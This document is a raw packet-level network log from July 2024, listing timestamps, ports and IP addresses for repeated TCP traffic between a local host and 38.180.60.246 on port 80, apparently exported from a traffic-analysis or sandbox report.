Jul 15, 2024 00:48:25.973407030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973419905 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973419905 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973644018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973655939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973681927 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973696947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973845959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973860025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973870993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973884106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973896027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973906040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973908901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973921061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973932981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973939896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973943949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973956108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973962069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973968029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973979950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973982096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973989964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973997116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974006891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974009037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974020004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974030972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974033117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974039078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974045038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974061012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974107027 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974440098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974453926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974464893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974476099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974488020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974498034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974500895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974514008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974514008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974529028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974534035 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974539995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974545002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974555969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974566936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974574089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974580050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974591017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974606037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974623919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974649906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974836111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974847078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.974875927 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.974884987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.975109100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.975155115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.975161076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.975167036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.975194931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.975203991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.975260019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.975271940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.975282907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.975323915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.975323915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.975481987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050457001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050474882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050507069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050504923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050527096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050528049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050542116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050553083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050556898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050561905 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050570011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050581932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050584078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050597906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050605059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050625086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050647974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050666094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050678015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050692081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050703049 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050705910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050720930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050720930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050734043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050734997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050749063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.050759077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050766945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.050798893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.051399946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.051412106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.051425934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.051461935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.051474094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.051501036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.051513910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.051533937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.051542044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.051546097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.051564932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.051594019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.062772036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.062793970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.062808990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.062849045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.062850952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.062868118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.062880039 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.062881947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.062896013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.062906981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.062926054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.062926054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.062932968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.062947989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.062957048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.062972069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.062980890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.062993050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063010931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063034058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063047886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063070059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063088894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063141108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063153982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063167095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063175917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063180923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063191891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063205957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063225031 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063286066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063304901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063318968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063327074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063337088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063359976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063441038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063453913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063463926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063477039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063483000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063491106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063498974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063504934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063519001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063528061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063533068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063546896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063551903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063577890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063600063 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063786030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063798904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063810110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063822031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063827991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063834906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063848019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063859940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063865900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063873053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063880920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063885927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063896894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063898087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063911915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.063915014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063941002 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.063966990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064167023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064178944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064192057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064204931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064217091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064224005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064229965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064244032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064255953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064255953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064268112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064275980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064280033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064294100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064295053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064307928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064322948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064322948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064336061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064347982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064347982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064362049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064373016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064383030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064408064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064573050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064585924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064596891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064609051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064614058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064634085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064642906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064646006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064661026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064666033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064675093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064687967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064693928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064701080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064713955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064719915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064726114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064737082 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064738035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064749956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064762115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064764023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.064789057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.064814091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065448999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065462112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065474033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065504074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065536976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065562963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065574884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065587997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065593958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065601110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065613031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065613985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065625906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065637112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065639019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065651894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065664053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065665007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065677881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065686941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065690041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065701962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065733910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065741062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065746069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065769911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065794945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065809011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065820932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065833092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065844059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065846920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.065860987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.065879107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.395354986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395370960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395382881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395414114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395426989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395440102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395452023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395464897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395483971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.395540953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.395628929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395642996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395654917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395667076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395674944 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.395678043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395689011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395699978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395708084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.395710945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395720959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395733118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395739079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.395768881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.395775080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.395840883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395852089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.395900965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396063089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396084070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396095037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396106005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396106958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396117926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396130085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396133900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396142006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396155119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396161079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396167040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396179914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396187067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396190882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396193027 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396203995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396217108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396229029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396229029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396241903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396253109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396258116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396265030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396276951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396279097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396306038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396330118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396605015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396615982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396626949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396637917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396648884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396658897 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396660089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396672010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396683931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:26.396688938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:26.396696091 CEST	80	49704	38.180.60.246	192.168.2.5
